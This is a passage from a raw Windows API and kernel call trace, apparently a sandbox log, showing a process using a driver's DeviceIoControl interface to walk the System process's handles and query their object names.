Object=0xfffff88005590548*=0xfffffa8003673de0, HandleInformation=0x0) returned 0x0 [0110.625] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.625] PsReleaseProcessExitSynchronization () returned 0x2 [0110.625] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.625] ObQueryNameString (in: Object=0xfffffa8003673de0, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.625] ObfDereferenceObject (Object=0xfffffa8003673de0) returned 0x2 [0110.625] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.625] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.625] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.625] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x4a, lpOverlapped=0x0) returned 1 [0110.625] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.625] PsAcquireProcessExitSynchronization () returned 0x0 [0110.625] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.625] ObReferenceObjectByHandle (in: Handle=0xffffffff80000160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80043f1400, HandleInformation=0x0) returned 0x0 [0110.625] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.625] PsReleaseProcessExitSynchronization () returned 0x2 [0110.625] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.625] ObQueryNameString (in: Object=0xfffffa80043f1400, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.626] ObfDereferenceObject (Object=0xfffffa80043f1400) returned 0x1 [0110.626] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.626] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.626] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.626] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0110.626] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.626] PsAcquireProcessExitSynchronization () returned 0x0 [0110.626] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.626] ObReferenceObjectByHandle (in: Handle=0xffffffff80000164, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002df8f20, HandleInformation=0x0) returned 0x0 [0110.626] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.626] PsReleaseProcessExitSynchronization () returned 0x2 [0110.626] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.626] ObQueryNameString (in: Object=0xfffffa8002df8f20, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.626] ObfDereferenceObject (Object=0xfffffa8002df8f20) returned 0x1 [0110.626] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.626] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.626] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.626] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0110.626] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.626] PsAcquireProcessExitSynchronization () returned 0x0 [0110.626] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.626] ObReferenceObjectByHandle (in: Handle=0xffffffff80000168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002df8c90, HandleInformation=0x0) returned 0x0 [0110.626] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.626] PsReleaseProcessExitSynchronization () returned 0x2 [0110.626] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.626] ObQueryNameString (in: Object=0xfffffa8002df8c90, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.626] ObfDereferenceObject (Object=0xfffffa8002df8c90) returned 0x1 [0110.626] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.627] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.627] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.627] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0110.627] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.627] PsAcquireProcessExitSynchronization () returned 0x0 [0110.627] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.627] ObReferenceObjectByHandle (in: Handle=0xffffffff8000016c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8004bd9e60, HandleInformation=0x0) returned 0x0 [0110.627] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.627] PsReleaseProcessExitSynchronization () returned 0x2 [0110.627] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.627] ObQueryNameString (in: Object=0xfffffa8004bd9e60, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.627] ObfDereferenceObject (Object=0xfffffa8004bd9e60) returned 0x1 [0110.627] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.627] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.627] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.627] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0110.627] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.627] PsAcquireProcessExitSynchronization () returned 0x0 [0110.627] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.627] ObReferenceObjectByHandle (in: Handle=0xffffffff80000170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002df9bd0, HandleInformation=0x0) returned 0x0 [0110.627] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.627] PsReleaseProcessExitSynchronization () returned 0x2 [0110.627] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.627] ObQueryNameString (in: Object=0xfffffa8002df9bd0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.627] ObfDereferenceObject (Object=0xfffffa8002df9bd0) returned 0x1 [0110.627] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.627] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.627] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.627] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xa8, lpOverlapped=0x0) returned 1 [0110.627] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.628] PsAcquireProcessExitSynchronization () returned 0x0 [0110.628] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.628] ObReferenceObjectByHandle (in: Handle=0xffffffff80000194, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002dfabf0, HandleInformation=0x0) returned 0x0 [0110.628] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.628] PsReleaseProcessExitSynchronization () returned 0x2 [0110.628] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.628] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037b8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037b8044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.628] ObfDereferenceObject (Object=0xfffffa8002dfabf0) returned 0x21 [0110.628] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.628] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.628] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.628] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0110.628] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.628] PsAcquireProcessExitSynchronization () returned 0x0 [0110.628] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.628] ObReferenceObjectByHandle (in: Handle=0xffffffff80000198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002e4a050, HandleInformation=0x0) returned 0x0 [0110.628] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.628] PsReleaseProcessExitSynchronization () returned 0x2 [0110.628] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.628] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800280d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800280d044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.628] ObfDereferenceObject (Object=0xfffffa8002e4a050) returned 0x1 [0110.628] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.628] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.628] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.628] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0110.628] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.628] PsAcquireProcessExitSynchronization () returned 0x0 [0110.628] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.628] ObReferenceObjectByHandle (in: Handle=0xffffffff800001b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002e5dd00, HandleInformation=0x0) returned 0x0 [0110.628] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.628] PsReleaseProcessExitSynchronization () returned 0x2 [0110.628] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.628] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80037b0704, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037b0704, ReturnLength=0xfffff88005590508) returned 0x0 [0110.628] ObfDereferenceObject (Object=0xfffffa8002e5dd00) returned 0x1 [0110.628] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.629] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.629] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.629] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x62, lpOverlapped=0x0) returned 1 [0110.629] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.629] PsAcquireProcessExitSynchronization () returned 0x0 [0110.629] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.629] ObReferenceObjectByHandle (in: Handle=0xffffffff800001bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f10050, HandleInformation=0x0) returned 0x0 [0110.629] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.629] PsReleaseProcessExitSynchronization () returned 0x2 [0110.629] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.629] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590508) returned 0x0 [0110.629] ObfDereferenceObject (Object=0xfffffa8002f10050) returned 0x1 [0110.629] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.629] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.629] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.629] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0110.629] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.629] PsAcquireProcessExitSynchronization () returned 0x0 [0110.629] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.629] ObReferenceObjectByHandle (in: Handle=0xffffffff800001c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800296af20, HandleInformation=0x0) returned 0x0 [0110.629] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.629] PsReleaseProcessExitSynchronization () returned 0x2 [0110.629] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.629] ObQueryNameString (in: Object=0xfffffa800296af20, ObjectNameInfo=0xfffffa80023ac7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80023ac7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.629] ObfDereferenceObject (Object=0xfffffa800296af20) returned 0x3 [0110.629] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.629] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.629] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.629] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0110.629] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.629] PsAcquireProcessExitSynchronization () returned 0x0 [0110.629] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.630] ObReferenceObjectByHandle (in: Handle=0xffffffff800001c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f25720, HandleInformation=0x0) returned 0x0 [0110.630] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.630] PsReleaseProcessExitSynchronization () returned 0x2 [0110.630] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.630] ObQueryNameString (in: Object=0xfffffa8002f25720, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.630] ObfDereferenceObject (Object=0xfffffa8002f25720) returned 0x1 [0110.630] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.630] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.630] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.630] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0110.630] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.630] PsAcquireProcessExitSynchronization () returned 0x0 [0110.630] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.630] ObReferenceObjectByHandle (in: Handle=0xffffffff800001cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80019179c0, HandleInformation=0x0) returned 0x0 [0110.630] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.630] PsReleaseProcessExitSynchronization () returned 0x2 [0110.630] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.630] ObQueryNameString (in: Object=0xfffffa80019179c0, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.630] ObfDereferenceObject (Object=0xfffffa80019179c0) returned 0x2 [0110.630] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.630] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.630] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.630] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0110.630] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.630] PsAcquireProcessExitSynchronization () returned 0x0 [0110.630] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.631] ObReferenceObjectByHandle (in: Handle=0xffffffff800001d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f29260, HandleInformation=0x0) returned 0x0 [0110.631] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.631] PsReleaseProcessExitSynchronization () returned 0x2 [0110.631] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.631] ObQueryNameString (in: Object=0xfffffa8002f29260, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.631] ObfDereferenceObject (Object=0xfffffa8002f29260) returned 0x2 [0110.631] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.631] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.631] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.631] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.631] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.631] PsAcquireProcessExitSynchronization () returned 0x0 [0110.631] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.631] ObReferenceObjectByHandle (in: Handle=0xffffffff800001d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80025eb610, HandleInformation=0x0) returned 0x0 [0110.631] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.631] PsReleaseProcessExitSynchronization () returned 0x2 [0110.631] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.631] ObQueryNameString (in: Object=0xfffffa80025eb610, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.631] ObfDereferenceObject (Object=0xfffffa80025eb610) returned 0x2 [0110.631] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.631] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.631] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.631] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0110.631] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.631] PsAcquireProcessExitSynchronization () returned 0x0 [0110.631] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.631] ObReferenceObjectByHandle (in: Handle=0xffffffff800001dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f10df0, HandleInformation=0x0) returned 0x0 [0110.632] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.632] PsReleaseProcessExitSynchronization () returned 0x2 [0110.632] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.632] ObQueryNameString (in: Object=0xfffffa8002f10df0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.632] ObfDereferenceObject (Object=0xfffffa8002f10df0) returned 0x2 [0110.632] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.632] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 